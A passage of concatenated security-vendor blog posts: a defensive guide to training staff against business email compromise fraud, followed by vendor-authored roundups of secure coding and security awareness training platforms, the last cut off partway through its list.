particularly frustrating to defend against: there's no malware to scan, no suspicious attachment to sandbox, no sketchy link for your email gateway to flag. These attacks work by impersonating someone the target trusts, asking for something that sounds reasonable, and relying on normal business processes to deliver the money. Your technical controls won't catch them. Your employees have to. ## How BEC attacks work BEC attackers study organizations before striking. They learn: - Who authorizes payments - Who processes wire transfers - Vendor relationships and payment patterns - Executive communication styles - Organizational hierarchies Armed with this intelligence, they craft emails that appear completely legitimate. [AI-powered phishing tools](/blog/ai-powered-phishing/) now automate much of this research and writing, producing executive-style emails at scale. Unlike [phishing attacks that rely on malicious links](/blog/phishing-detection/), BEC messages contain nothing technically suspicious. ### The five BEC attack types **1. CEO Fraud** Attacker impersonates the CEO or another executive to request urgent wire transfers. This overlaps heavily with [whaling attacks](/blog/what-is-whaling-cybersecurity/), where high-value targets receive carefully researched messages. > "Hi Sarah, I'm closing a confidential acquisition and need you to wire $47,000 to this account today. Time-sensitive, so don't mention this to anyone until the deal is announced." The request comes from what appears to be the CEO's email (either spoofed or from a compromised account). It creates urgency, invokes authority, and discourages verification through the confidentiality request. **2. Invoice Manipulation** Attacker compromises or impersonates a vendor to change payment details. > "Please update our banking information for future invoices. Our previous account is being migrated." The email arrives when a legitimate payment is expected. Everything looks correct except the routing numbers. **3. Account Compromise** Attacker compromises an employee's email account and uses it to request payments from contacts. Because emails come from the actual compromised account with full conversation history, recipients have no reason to suspect fraud. **4. Attorney Impersonation** Attacker poses as legal counsel during sensitive transactions: M&A deals, litigation settlements, real estate closings. The legal context creates urgency and confidentiality that discourage normal verification. **5. Data Theft** Attacker requests W-2s, employee records, or other sensitive data rather than direct payment. > "HR, I need all employee W-2s for a tax compliance audit. Please send by end of day." This variant enables identity theft and tax fraud against employees. ## Why do technical controls fail against BEC? BEC attacks are engineered to bypass [email security](/blog/email-security-training/) tools: | Why it evades detection | Explanation | |------------------------|-------------| | No malicious links | Nothing for URL scanners to catch | | No attachments | Nothing for sandboxes to analyze | | Legitimate sender reputation | Uses real or lookalike domains | | Normal email content | Text matches typical business communication | | Often from real accounts | Compromised legitimate email accounts | Email security catches obvious fraud. BEC attacks aren't obvious. They're crafted to appear completely normal. ## How do you build effective BEC training? ### Teach the attack patterns Employees can't stop what they don't recognize. Training must cover: **Request characteristics:** - Unusual urgency ("must be done today") - Confidentiality demands ("keep this between us") - Authority pressure ("the CEO needs this") - Process bypass requests ("skip normal approval this once") - Changed payment details ("use this new account") **Context indicators:** - First-time requests from executives - Requests outside normal business hours - Unusual vendors or payment amounts - Timing aligned with executive travel or unavailability - Email threads that don't match previous conversation history These overlap with [social engineering techniques](/blog/social-engineering-attacks/) that manipulate trust and urgency to bypass rational decision-making. ### Establish verification procedures Training must include clear verification requirements: **For wire transfers:** - Verbal confirmation through known phone numbers (not numbers in the email) - Dual authorization for transfers above threshold - Cooling-off period for unexpected requests - Standard process that cannot be bypassed by claimed urgency **For payment detail changes:** - Independent verification with vendor through established contacts - Comparison against historical payment records - Review of any recent correspondence for signs of compromise **For sensitive data requests:** - Verification of requestor identity through separate channel - Manager approval regardless of apparent sender - Confirmation that request matches legitimate business need ### Practice with realistic scenarios BEC training requires [simulation exercises](/blog/phishing-simulation-training/) that test whether procedures are actually followed. Our [Business Email Compromise exercise](/exercises/business-email-compromise/) puts employees in a realistic CEO impersonation scenario where they must decide whether to authorize a wire transfer. For the AP-side variants, the [Invoice & Payment Fraud exercise](/exercises/invoice-payment-fraud/) drills the 3-way match against a lookalike supplier domain, and [Verification Procedures](/exercises/verification-procedures/) walks a banking-detail change request through a procurement-vetted vendor directory. **Effective simulations:** - Mimic real attack patterns employees might face - Create time pressure without being unfair - Test whether employees verify before acting - Provide immediate education when procedures aren't followed **What to measure:** - Percentage who attempt verification before acting - Time between request and verification attempt - Proper use of established verification procedures - Willingness to question requests from apparent authority ## What role-specific BEC training do different teams need? ### Finance and accounts payable Highest-risk group for direct financial loss. **Training focus:** - Wire transfer verification procedures (no exceptions) - Vendor payment change protocols - Recognition of urgency manipulation - Authority to delay suspicious requests ### Executive assistants Often targeted as gatekeepers with broad access and trust. **Training focus:** - Verifying executive identity on unusual requests - Recognizing when executive accounts may be compromised - Procedures when executives are traveling or unavailable - Protection of executive schedules and travel information ### HR and payroll Targets for W-2 fraud and payroll diversion. **Training focus:** - Verification requirements for bulk data requests - Recognition of tax-season attack patterns - Direct deposit change verification - Sensitivity to "urgent compliance" pretexts ### Real estate and legal High-value transaction targets. **Training focus:** - Wire instruction verification for closings - Recognition of last-minute change requests - Independent confirmation of attorney identity - Awareness of public transaction information attackers exploit ## What process controls support BEC training? Training works best alongside process controls that create natural verification checkpoints. Building a [human firewall](/blog/human-firewall-training/) means pairing employee awareness with structural safeguards. ### Dual authorization Require two people to approve significant transactions. This creates a natural verification step. The second approver has no reason to feel urgency pressure from the original request. ### Callback verification Before processing wire transfers or payment changes, require phone verification using independently obtained contact information. Never use numbers provided in the request. ### Cooling-off periods Establish minimum processing times for large or unusual transactions. A 24-hour hold on unexpected wire requests gives time for verification and reduces the attacker's advantage from manufactured urgency. ### Change verification Any change to vendor payment information triggers independent verification through established contacts, not contacts provided in the change request. ## How do you measure BEC training effectiveness? ### Primary metrics | Metric | Target | |--------|--------| | Verification rate on BEC simulations | >90% | | Average time to verify | <30 minutes | | Compliance with verification procedures | >95% | For a deeper look at what to track and how to demonstrate ROI, see our guide on [measuring security awareness training effectiveness](/blog/security-awareness-training-effectiveness/). ### Secondary indicators - Reduction in successful social engineering attempts - Increase in suspicious request reports - Decrease in process bypass attempts - Employee confidence in verification procedures ### Simulation program Run quarterly BEC simulations targeting different attack scenarios: - CEO fraud wire requests - Vendor payment change requests - Sensitive data requests - Last-minute transaction modifications Track whether employees follow verification procedures, not just whether they "pass" or "fail." ## Incident response When BEC attacks occur, rapid response can sometimes recover funds. ### Immediate actions (first hour) 1. **Contact bank immediately** - Request wire recall or hold 2. **Preserve evidence** - Don't delete emails or modify anything 3. **Identify scope** - Determine what else may be compromised 4. **Report to FBI IC3** - File complaint for law enforcement coordination ### Investigation - Analyze attack vector (spoofed domain, compromised account, etc.) - Review what information attackers had access to - Identify other potential targets in the organization - Assess whether accounts may still be compromised ### Recovery and prevention - Implement additional controls to prevent similar attacks - Update training based on lessons learned - Communicate (sanitized) incident to organization for awareness - Review and strengthen verification procedures ## Case study: near-miss at manufacturing firm A CFO received an urgent email from what appeared to be the CEO during an overseas business trip: > "Need you to process a $180,000 wire transfer for equipment purchase. Confidential until we announce the expansion. Account details attached." The CFO prepared the transfer but called the CEO to confirm before submitting, using the CEO's personal cell number, not a number from the email. The CEO knew nothing about it. Investigation revealed: - Attackers had compromised a vendor's email account - They had access to information about the CEO's travel - The email came from a lookalike domain (ceo@company-corp.com instead of ceo@companycorp.com) - Request amount was deliberately below the CFO's authorization threshold **What worked:** Established callback verification procedure saved $180,000. **What needed improvement:** Domain monitoring could have detected the lookalike registration. Travel information access needed review. ## The call that feels unnecessary I've talked to dozens of CFOs and finance managers who stopped BEC attacks. Every single one of them describes the same thing: they almost didn't make the verification call. The email looked right. The amount was reasonable. They were busy. Making a phone call to confirm felt like overkill. They made the call anyway. That's what separates organizations that lose $125,000 from organizations that don't. Not better email filters. Not smarter employees. Just a simple habit: when something involves money changing hands, you verify through a separate channel. Every time. No exceptions. The attackers know you're busy. They know that calling feels awkward. They're counting on it. Building that verification reflex is what good [security awareness training](/blog/security-awareness-training-guide/) comes down to. Not slides and quizzes, but practiced habits that hold up under pressure. ## Frequently asked questions ### What is business email compromise? Business email compromise (BEC) is a targeted fraud where attackers impersonate executives, vendors, or colleagues via email and request wire transfers, gift cards, or sensitive data. The FBI Internet Crime Complaint Center reports BEC as the single costliest category of cybercrime, with $2.7 billion in reported losses in 2024. BEC relies on social engineering, not malware, so email gateways rarely catch it. ### How do BEC attacks work? Attackers research the target organization, often via LinkedIn and leaked email addresses, then spoof or compromise a trusted sender. Common patterns include CEO impersonation requesting urgent wire transfers, vendor invoice manipulation with altered bank details, and payroll diversion requests sent from a lookalike HR domain. Requests typically arrive mid-afternoon, cite travel or confidentiality, and pressure the target to skip normal verification. ### Who is targeted by BEC attacks? Finance teams, CFOs, accounts payable staff, HR payroll administrators, executive assistants, and anyone authorized to move money or change payment records. Attackers also target IT admins for credential resets that enable account takeover. Small and mid-sized organizations are disproportionately hit because they often lack callback verification procedures. ### How can employees spot a BEC email? Red flags include urgency combined with confidentiality, a request to change bank account or payment details, a sender domain that looks right but is slightly off (ceo@company-corp.com vs ceo@companycorp.com), requests sent outside normal hours, and amounts just below the approver's authorization threshold. Any request to move money, even from a known sender, should trigger an out-of-band verification call. ### How do you train employees to prevent BEC? Combine short modules on BEC patterns with realistic simulations where employees practice refusing unverified requests. Establish a callback verification policy for every payment change and every wire above a set threshold. Run periodic red-team exercises impersonating executives. Celebrate employees who pause and verify, even when the request turns out to be real. ### What is the difference between BEC and phishing? Phishing is typically broad, sent to many recipients, and relies on malicious links or attachments to deliver malware or steal credentials. BEC is narrow, targets specific roles with financial authority, and uses plain text requests that email filters treat as benign. BEC attackers often compromise a real account first via phishing, then pivot to wire fraud from inside the inbox. --- *Build verification reflexes that stop BEC attacks. [Try our free Business Email Compromise exercise](/exercises/business-email-compromise/) with a realistic CEO impersonation scenario, practice the [Invoice & Payment Fraud](/exercises/invoice-payment-fraud/) 3-way match, walk through [Verification Procedures](/exercises/verification-procedures/) against a vendor banking-change request, or train against an AI-cloned voice with [Deepfake Audio Detection](/exercises/deepfake-audio-detection/). Explore our full [security awareness training catalogue](/catalogue/security-awareness/) for more.* --- ### Best Secure Coding Training Platforms for 2026 Source: https://ransomleak.com/blog/best-secure-coding-training-2026/ The best secure coding training platform in 2026 depends on how your developers learn and how wide your stack runs. Secure Code Warrior leads on language breadth and enterprise benchmarking. Veracode Security Labs fits teams already standardized on Veracode scanning. RansomLeak wins on exploit-then-fix depth across web, API, Git, cloud, mobile, and frontend. This roundup compares eight application security training vendors with a transparent methodology. _Updated August 2026._ ## What is secure coding training? Secure coding training is developer-focused education that teaches engineers to find, exploit, and fix vulnerabilities in the code they write. It targets software engineers rather than the general workforce, uses their actual languages and frameworks, and measures skill through hands-on labs instead of quiz completion. The category sits next to security awareness training but does not overlap with it. Awareness programs teach a finance clerk to question a wire transfer request. Secure coding programs teach a backend engineer why string concatenation in a query builder hands an attacker the whole table. Buyers evaluate these platforms on four things. Whether the labs are genuinely hands-on or video with a quiz attached, how many languages and frameworks are covered, how the catalogue maps to the OWASP Top 10, and whether coverage extends past web applications into APIs, pipelines, and cloud configuration. ## How we ranked these application security training vendors Ranking one list across every buyer produces a misleading answer, so we applied four criteria and noted weaknesses next to strengths. The first is practice depth. A platform where developers read an explanation and answer a question is a different product from one where they run the payload themselves and watch it work. We weighted the second heavily, because the fix a developer writes after breaking something tends to stick. The second is stack coverage. Most catalogues are organized around web application flaws. Fewer cover the API layer properly, and fewer still reach version control, container and cloud configuration, mobile, or the browser. The third is OWASP currency. [OWASP Top 10:2025](https://owasp.org/Top10/2025/) was announced in November 2025 and finalized in January 2026, adding Software Supply Chain Failures as A03 and Mishandling of Exceptional Conditions as A10, and folding SSRF into Broken Access Control. The underlying vulnerability classes are stable, but catalogue mapping and reporting labels are not, so ask every vendor which edition they map to today. The fourth is measurement. According to the [Veracode State of Software Security 2025](https://www.veracode.com/resources/analyst-reports/state-of-software-security-2025/) report, half of organizations carry critical security debt and average time to fix flaws has risen 47% since 2020. A training platform that cannot show whether it moved those numbers is hard to renew. ## 1. RansomLeak RansomLeak is an interactive security training platform whose [application security catalogue](/catalogue/application-security/) puts developers on both sides of every vulnerability. You start as the attacker against a deliberately vulnerable app running in a simulated browser, then switch to the appsec engineer, ship the fix, and re-run the original payload against your own patch. The company comes from the team behind Kontra Application Security Training. Coverage runs past the web Top 10. Alongside the [API Security catalogue](/catalogue/api-security/), the platform ships tracks for Git and version control, DevOps and cloud (Docker, Kubernetes, AWS, Azure, GCP), mobile, and frontend. Vulnerable code and its fix render in JavaScript, TypeScript, Java, C#, Python, Scala, PHP, Ruby, Go, and Kotlin. The database in each exercise is real and embedded, so requests are visible in the browser Network panel rather than described in a slide. Try [SQL injection](/exercises/sql-injection/), [broken object level authorization](/exercises/broken-object-level-authorization/), or [server-side request forgery](/exercises/server-side-request-forgery/) to see the format before talking to anyone. **Strengths**: Exploit-then-fix on every exercise, breadth across web, API, Git, cloud, mobile, and frontend, ten-language code rendering, free browser-based catalogue with no sign-up, SCORM and LTI 1.3 delivery into an existing LMS. **Weaknesses**: Newer platform than the decade-old incumbents, no IDE plugin, no static-analysis product to tie findings back to, smaller published customer roster. **Best for**: Engineering organizations that want developers to break and repair real code, and that need coverage past web applications into pipelines and cloud. **Pricing note**: Custom pricing for enterprise deployments. The full exercise catalogue is free to run without a sales call. ## 2. Secure Code Warrior Secure Code Warrior is the category's largest independent vendor and the reference point most buyers start from. Vendor materials describe the Learning Platform as 600+ hours of content across 70+ language and framework combinations, with hands-on labs, learning paths, assessments, and gamified tournaments. Its strongest differentiator is measurement. SCW Trust Score, launched in May 2024, benchmarks a team's secure coding skill against a large cross-customer dataset, which gives security leaders a defensible number to bring to a board. In March 2026 the company shipped Trust Agent, which tracks which models influenced a commit and can block at pull-request time. **Strengths**: Widest language and framework coverage in the category, cross-customer benchmarking, mature enterprise integrations, strong analyst visibility. **Weaknesses**: No published pricing, third-party procurement writeups put enterprise contracts well into six figures, some reviewers describe the shorter challenge format as repetitive at scale. **Best for**: Large engineering organizations with a polyglot codebase that need benchmarking and program-level reporting. **Pricing note**: Custom, priced per developer seat. Not published. ## 3. Security Journey Security Journey is the combined product of HackEDU and Security Journey, which merged after HackEDU's acquisition in May 2022 and consolidated under the Security Journey name that August. The platform is organized as a belt program, running from foundational white belt content up through language-specific hands-on work. The belt structure is the real draw. It gives program owners a defensible progression to assign by role and seniority, which matters more than raw lab count when you are rolling training across hundreds of engineers with different starting points. Content mixes video lessons with hands-on coding exercises. **Strengths**: Progressive belt curriculum that is easy to map to role and seniority, broad language coverage, blended video and hands-on formats, covers non-developer SDLC roles. **Weaknesses**: Video-heavy relative to lab-first platforms, brand recognition still split across two legacy names, lighter coverage of cloud and pipeline topics. **Best for**: Programs that need a structured, auditable progression across a large and mixed engineering population. **Pricing note**: Custom, per-seat. ## 4. Veracode Security Labs Veracode Security Labs teaches through containerized environments where developers connect to a live terminal, exploit a running vulnerable application, and patch it. The technical depth is genuine, and the labs feel closer to real work than most competitors' browser challenges. The platform's gravity comes from the rest of Veracode. If your SAST and SCA findings already land there, routing a developer from a specific finding into a lab about that flaw class is a short path. Standalone, the training is harder to justify against dedicated vendors, though a free Community Edition exists for individual developers. **Strengths**: Real containerized environments, tight loop between scan findings and remediation training, free Community Edition, established enterprise procurement path. **Weaknesses**: Most valuable to existing Veracode customers, narrower catalogue than dedicated training vendors, lighter gamification and engagement tooling. **Best for**: Teams already running Veracode who want remediation training attached to their scan results. **Pricing note**: Custom, commonly bundled with the wider Veracode platform. ## 5. Security Compass Security Compass sells application security training alongside SD Elements, its policy-to-requirements platform. The company acquired Kontra from ThriveDX in February 2024, adding Kontra's interactive developer exercises to a portfolio that already included a 50+ course AppSec curriculum and ISC2 co-branded practitioner suites. The distinctive capability is just-in-time training inside SD Elements. Countermeasures generated for a specific project carry associated micro-modules, so a developer gets the relevant lesson attached to the requirement rather than at annual training time. Courses are mapped to NIST 800-53, PCI DSS, ISO/IEC 27034, HIPAA, and SOC 2. **Strengths**: Just-in-time delivery tied to project requirements, deep compliance mapping, Kontra's interactive exercises, formal certification paths. **Weaknesses**: Training is strongest when paired with SD Elements, the combined portfolio spans several acquired products with differing interaction models, heavier implementation effort. **Best for**: Regulated enterprises that want secure coding training wired into a requirements and compliance workflow. **Pricing note**: Custom, typically quoted with SD Elements. ## 6. SecureFlag SecureFlag runs training in real development environments, giving developers a working IDE and a live application rather than a simulated editor. Its catalogue covers a large library of hands-on labs across 45+ technology stacks, spanning application code, infrastructure as code, and container configuration. The infrastructure and container coverage is the reason to shortlist it. Teams whose risk sits in Terraform and Kubernetes manifests as much as in application code find more relevant material here than in web-first catalogues. **Strengths**: Real IDE and runtime environments, strong infrastructure-as-code and container coverage, broad technology stack list, threat-modelling content. **Weaknesses**: Smaller company and support footprint, less brand recognition in enterprise procurement, environment spin-up adds friction for short sessions. **Best for**: Platform and DevOps-heavy engineering teams that want labs in the tools they actually use. **Pricing note**: Custom, per-seat. ## 7. Snyk Learn Snyk Learn is free developer security education from Snyk, covering vulnerability classes across JavaScript, Java, C#, Python, PHP, Go, Rust, Ruby, and C++, plus Kubernetes, AI, and LLM topics. Lessons walk through how a vulnerability works, show it in code, and explain the fix. It is the best free starting point in this list and a reasonable supplement to a paid program. It is not an enterprise training program. There is no seat management, no role-based assignment, and no compliance reporting, so it cannot carry an audit requirement on its own. **Strengths**: Genuinely free, good language spread, clear writing, no procurement cycle, useful AI and LLM security lessons. **Weaknesses**: No administration or assignment layer, no compliance evidence, lessons are explanatory rather than adversarial, functions partly as a funnel into Snyk's scanning products. **Best for**: Individual developers, small teams, and organizations that want a free baseline before buying. **Pricing note**: Free. ## 8. Avatao Avatao is a European secure coding platform aimed at small and mid-sized engineering teams, with hands-on labs mapped to ISO 27001, PCI DSS, SOC 2, and NIS2. The compliance mapping is the pitch, and it is a real one for teams whose training budget exists because an auditor asked for evidence. Avatao is a fit where the buying trigger is a certification rather than a vulnerability trend. Catalogue breadth is smaller than the category leaders, and enterprise reporting is lighter. **Strengths**: Compliance-mapped content, EU-based, sized and priced for smaller engineering teams, straightforward rollout. **Weaknesses**: Smaller catalogue than category leaders, lighter analytics, limited coverage outside core application security. **Best for**: SMB and mid-market engineering teams driven by an ISO 27001, SOC 2, or NIS2 requirement. **Pricing note**: Custom, positioned below enterprise vendors. ## What should application security training cover in 2026? Web application flaws are the floor, not the ceiling. A catalogue that stops at the classic web Top 10 leaves most of a modern attack surface untouched. APIs deserve their own track. [Broken object level authorization](/exercises/broken-object-level-authorization/) and [mass assignment](/exercises/mass-assignment/) do not behave like web vulnerabilities, they are rarely visible in a rendered page, and they are the flaws that most often leak records at scale. Ask whether the vendor treats the OWASP API Security Top 10 as a real course or a handful of bolt-on lessons. Version control and pipelines are now first-class. Secrets committed to Git, over-permissive workflow tokens, and poisoned build steps sit behind a large share of recent incidents, and OWASP's 2025 refresh promoted supply chain failures to A03 for exactly that reason. Cloud and container configuration belongs in the same program. A misconfigured storage bucket, an over-broad IAM role, or a privileged Kubernetes pod is a production vulnerability written by an engineer, and it should be trained like one. Mobile and frontend round out the set. Insecure local storage, weak certificate handling, and [stored cross-site scripting](/exercises/stored-xss/) live outside the server-side catalogue that most vendors organize around. AI-assisted development changes the load. Assistants generate insecure patterns at speed, which raises the value of a developer who recognizes them on review. See [AI coding assistant security risks](/blog/ai-coding-assistant-security-risks/) and the [OWASP LLM Top 10 training course](/blog/owasp-llm-top-10-training-course/) for that side of the program. ## How is secure coding training different from security awareness training? They target different people, teach different skills, and answer to different controls. Security awareness training covers the whole workforce on phishing, social engineering, and data handling. Secure coding training covers engineers on the vulnerability classes they can introduce in code. Most compliance frameworks want both. SOC 2, ISO 27001, and PCI DSS ask for workforce awareness and for role-specific training for people who build and maintain systems, which is why programs that run only one of the two get findings. Buying them from one vendor is not required, but it simplifies evidence collection. If you are also evaluating the awareness side, see [best security awareness training for 2026](/blog/best-security-awareness-training-2026/). ## Which secure coding training platform fits your team? Use this to narrow the shortlist quickly. **Large polyglot engineering orgs (500+ developers)**. Start with Secure Code Warrior for language breadth and benchmarking. Add RansomLeak if you want exploit-then-fix depth and coverage past web into Git, cloud, mobile, and frontend. Add Security Journey if a defensible role-based progression matters more than lab realism. **Mid-market product teams (50 to 500 developers)**. RansomLeak, Security Journey, and SecureFlag are the strongest fits. Pick RansomLeak for attacker-and-defender practice across the full stack. Pick SecureFlag if most of your risk is in Terraform, containers, and Kubernetes. **Small teams and startups (under 50 developers)**. Start with Snyk Learn for free, then add a paid platform when an audit or a customer questionnaire forces the issue. Avatao is priced for this segment when the trigger is ISO 27001 or SOC 2. **Existing Veracode or Snyk customers**. Check the bundled training first. Routing developers from a real finding into a lab about that flaw class is worth more than a marginally better standalone catalogue. **Regulated enterprises with formal SDLC requirements**. Security Compass is built for this, particularly where SD Elements already generates project countermeasures. Confirm which OWASP edition each vendor's compliance mapping reflects before signing. **LMS-first organizations**. If training has to run inside Cornerstone, Workday, or Moodle rather than a new console, confirm SCORM or LTI delivery early. Several appsec vendors are console-only. See [SCORM security training](/blog/scorm-security-training/) for how that constraint plays out. ## Frequently asked questions ### What is the best secure coding training platform in 2026? There is no single best platform. Secure Code Warrior leads on language breadth and benchmarking for large polyglot organizations, and Snyk Learn is the best free option. RansomLeak is the strongest fit for teams that want developers to exploit a flaw before fixing it, with coverage across web, API, Git, cloud, mobile, and frontend. ### How much does secure coding training cost? Almost no vendor in this category publishes pricing. Contracts are quoted per developer seat on an annual term, and third-party procurement writeups place enterprise agreements with the largest vendors in the six-figure range. The more useful frame is cost per measurable reduction in recurring flaw classes, not cost per seat. ### Does secure coding training actually reduce vulnerabilities? It depends entirely on format. Training that asks developers to recognize a vulnerability produces recall. Training that asks them to cause one, then patch it, and then replay the original payload against the patch produces a repeatable skill. The Veracode State of Software Security 2025 report found average time to fix flaws has risen 47% since 2020, which suggests recognition-only programs are not moving the number. ### How often should developers do secure coding training? Continuously in small increments rather than annually in a block. The pattern that works is a short module tied to a real event, a finding in a pull request, a new service going live, or an onboarding week, reinforced with a few hands-on exercises per quarter. Annual compliance blocks satisfy an auditor and change very little behavior. ### Should secure coding training map to OWASP Top 10 2021 or 2025? Map your program to 2025 and expect vendor catalogues to lag. The 2025 edition added Software Supply Chain Failures at A03 and Mishandling of Exceptional Conditions at A10, and folded SSRF into Broken Access Control. The vulnerability classes themselves did not change, so exercises on [SSRF](/exercises/server-side-request-forgery/) or [XXE](/exercises/xxe/) remain valid regardless of which category label a vendor files them under. ### Can secure coding training run inside our existing LMS? Sometimes. Console-first vendors expect developers to log into their platform, which is a real adoption obstacle when every other training already lives in the corporate LMS. RansomLeak delivers through SCORM 1.2, SCORM 2004, and LTI 1.3 with completion passback. Confirm this in the demo rather than the datasheet. ### Do we still need security awareness training if developers get secure coding training? Yes. They cover different populations and different controls, and engineers get phished like everyone else. Most frameworks expect a general awareness program plus role-specific depth for technical staff. Run both and map each to the control it satisfies. ## Bottom line The secure coding training market splits three ways in 2026. Breadth-and-benchmarking vendors (Secure Code Warrior, Security Journey) compete on catalogue size and program reporting, while ecosystem vendors (Veracode, Snyk, Security Compass) compete on proximity to the tools that already produce your findings. Practice-depth vendors (RansomLeak, SecureFlag) compete on how real the lab feels. The question that separates them is simple. Does a developer leave the exercise having recognized a vulnerability, or having caused one and repaired it. Run one and find out. Break a login form with [SQL injection](/exercises/sql-injection/), walk an API's object IDs with [broken object level authorization](/exercises/broken-object-level-authorization/), or plant a payload with [stored cross-site scripting](/exercises/stored-xss/), then ship the fix and replay your own attack against it. Browse the [application security](/catalogue/application-security/) and [API security](/catalogue/api-security/) catalogues, or [talk to us](/contact-us/) about rolling it out across an engineering org. --- _No sign-up, no sales pitch. Every exercise runs in the browser against a real embedded database, with the vulnerable code and its fix in ten languages. See [platform features](/features/) for SSO, reporting, and LMS delivery._ --- ### Best Security Awareness Training for 2026 Source: https://ransomleak.com/blog/best-security-awareness-training-2026/ The best security awareness training platform in 2026 depends on the segment you buy from. For large enterprises with deep compliance needs, KnowBe4 remains the default shortlist pick. For mid-market teams that want employees to actively practice attacks, RansomLeak wins on interactive depth and AI-era threat coverage. For EU-regulated organizations, SoSafe leads on GDPR-native hosting. This roundup ranks ten platforms with transparent methodology and segment-by-segment guidance. _Updated April 2026._ ## How we ranked these platforms Ranking "best security awareness training" with one list across every segment produces a misleading answer. A platform that fits a Fortune 500 compliance team can be overkill for a fifty-seat startup. We used four criteria, applied per-segment, and noted weaknesses alongside strengths. The first criterion is feature breadth. Does the platform cover phishing, ransomware, social engineering, privacy compliance, and AI-era threats, or is it single-purpose. This is weighted heavily for mid-market and enterprise buyers who often replace multiple tools with one platform. The second is third-party review evidence. We referenced G2, Gartner Peer Insights, and public customer reference patterns rather than vendor-supplied case studies. Where a platform is highly rated on engagement (Hoxhunt, NINJIO, RansomLeak) versus library depth (KnowBe4), we noted the trade-off. The third is pricing transparency. Vendors that publish pricing (KnowBe4, some SMB tools) received neutral treatment. Vendors that hide pricing behind a demo were noted as "custom" without penalty because enterprise-custom pricing is industry norm. The fourth is AI-era threat coverage. Employees now face AI-generated phishing, deepfake voice cloning, prompt injection into tools they use at work, and agentic-misuse risks. Platforms with dedicated AI modules scored higher than platforms that have added a single module to a legacy library. ## 1. RansomLeak RansomLeak is a security awareness training and human risk management platform built around [interactive 3D simulations](/catalogue/). Founded in 2025 by the creators of Kontra Application Security Training, it ships over 100 exercises covering phishing, ransomware, social engineering, privacy compliance, and AI-era threats. The platform's differentiation is active practice. Employees step into scenarios, make decisions, and see consequences, rather than watch a video. The AI security catalogue is the deepest in the category. Dedicated exercises cover [OWASP LLM Top 10 risks](/blog/owasp-llm-top-10/), prompt injection, [deepfake voice whaling](/blog/deepfake-social-engineering/), and [indirect prompt injection via shared documents](/blog/clawdbot-security-risks/). Most competitors reference AI in their marketing without shipping dedicated training content. **Strengths**: Interactive 3D scenarios, deepest AI threat coverage in the category, free 100+ exercise library with no account required, SCORM 1.2 and 2004 export into [50+ tested LMSes](/blog/scorm-security-training/), audit-ready reporting for SOC 2, ISO 27001, HIPAA, PCI DSS, GDPR, and NIS2. **Weaknesses**: Newer platform, smaller global language set than KnowBe4 and SoSafe, standalone console less mature than decade-old incumbents, phishing simulation is scenario-based rather than continuous inbox-level automation. **Best for**: Mid-market and enterprise teams that want active-practice training, deep AI threat coverage, and SCORM into an existing LMS. **Pricing note**: Custom enterprise pricing. Full exercise catalogue is free to try without a sales call via [the training catalogue](/catalogue/). ## 2. KnowBe4 KnowBe4 is the largest security awareness training vendor globally, founded in 2010, serving tens of thousands of organizations. The ModStore library runs into thousands of videos, modules, and games across 35+ languages. KnowBe4 describes its platform as combining Human Risk Management with its AI Defense Agents product line, signaling a push into AI-era positioning. The PhishER console for inbox-level phishing triage is one of the most mature tools in the category. Smart Delivery, PhishFlip, and the breadth of phishing templates give KnowBe4 an operational edge for programs where phishing simulation automation sits at the center. **Strengths**: Largest content library in the category, mature phishing simulation engine, broad language support, strong procurement track record. **Weaknesses**: Public reviews on G2 flag the content style as committee-written and generic, SCORM export is available but not central to the product, pricing at scale can pressure budgets. **Best for**: Large enterprises and regulated industries wanting the deepest library and the most mature phishing simulation. **Pricing note**: Public reviews and procurement writeups place KnowBe4 in the range of roughly $1.50 to $3.25 per user per month across Silver, Gold, Platinum, and Diamond tiers, with annual contracts. See the [RansomLeak vs KnowBe4](/blog/ransomleak-vs-knowbe4/) comparison for detail. ## 3. Hoxhunt Hoxhunt is a Finland-based security awareness platform founded in 2016. Its core product is adaptive phishing simulation. The AI engine adjusts difficulty per employee in real time based on performance, with leaderboards and positive reinforcement built in. The platform describes itself as the top-rated human risk management vendor on G2 for engagement. Hoxhunt's weakness is scope. The platform is phishing-simulation-first. Teams that need broader training on ransomware response, social engineering, AI threats, and compliance often pair it with a second vendor or choose a broader platform. See our [RansomLeak vs Hoxhunt comparison](/blog/ransomleak-vs-hoxhunt/) for a feature-by-feature breakdown of where the scope difference matters most. **Strengths**: Adaptive phishing simulation, high G2 engagement scores, 30+ languages, strong behavioral reporting for phishing specifically. **Weaknesses**: Narrower scope than category leaders, no SCORM export, light coverage of non-phishing scenarios, premium pricing tier. **Best for**: Organizations where continuous inbox-level phishing simulation with AI-adaptive difficulty is the centerpiece of the program. **Pricing note**: Custom enterprise pricing. See [Hoxhunt alternatives](/blog/hoxhunt-alternatives/) for broader fit comparisons. ## 4. SoSafe SoSafe is a German security awareness platform founded in 2018 that describes itself as Europe's largest security awareness training and human risk management provider. The product centers on behavioral microlearning, short interactive modules, and phishing simulations. EU-hosted infrastructure, ISO 27001, TISAX, and GDPR-compliant processing are prominent on the public site. Content is strong in German and across EU languages. Compliance alignment focuses on NIS2, DORA, ISO 27001, and TISAX, which matches the DACH, UK, and Nordic buyer base. SoSafe is expanding into the US, though its brand strength is EU-first. **Strengths**: EU-native hosting, TISAX-certified, strong NIS2 and DORA alignment, German and multilingual content depth. **Weaknesses**: US presence is smaller than KnowBe4, AI-era threat depth is lighter than specialized vendors, custom pricing. **Best for**: EU and DACH organizations with strict data residency or NIS2 exposure. **Pricing note**: Custom enterprise pricing. See [RansomLeak vs SoSafe](/blog/ransomleak-vs-sosafe/) for a detailed comparison. ## 5. NINJIO NINJIO is a Los Angeles-based security awareness platform founded in 2015. The product is built around Hollywood-animated micro-learning episodes, three to four minutes each, based on real cybersecurity incidents. New episodes ship on a regular cadence. Phishing simulation is part of the platform but secondary to the video content. NINJIO's strength is production value and completion rate. For organizations where "employees don't finish the training" is the central problem, the short runtime and narrative quality often solves it. Employees watch the story, but they do not actively practice handling the attack. **Strengths**: High-quality animation, short runtime, regular new episodes, strong completion metrics. **Weaknesses**: Passive watching rather than active practice, thinner across non-phishing topics, lighter compliance reporting. **Best for**: Organizations with low completion rates that need entertainment-first content. **Pricing note**: Per-user pricing with annual contracts. See [RansomLeak vs NINJIO](/blog/ransomleak-vs-ninjio/) for the interactive-vs-video comparison. ## 6. CybSafe CybSafe is a UK-based human risk management platform with a behavioral-science backbone. The company maintains SebDB, a public taxonomy of 70+ security behaviors grounded in academic research. The platform focuses on measurable behavior change rather than completion metrics. The voice on CybSafe's site reads like applied research, which matches mature security programs that value rigor. AI-era threat coverage is lighter than specialists, and the UK focus means less US enterprise brand 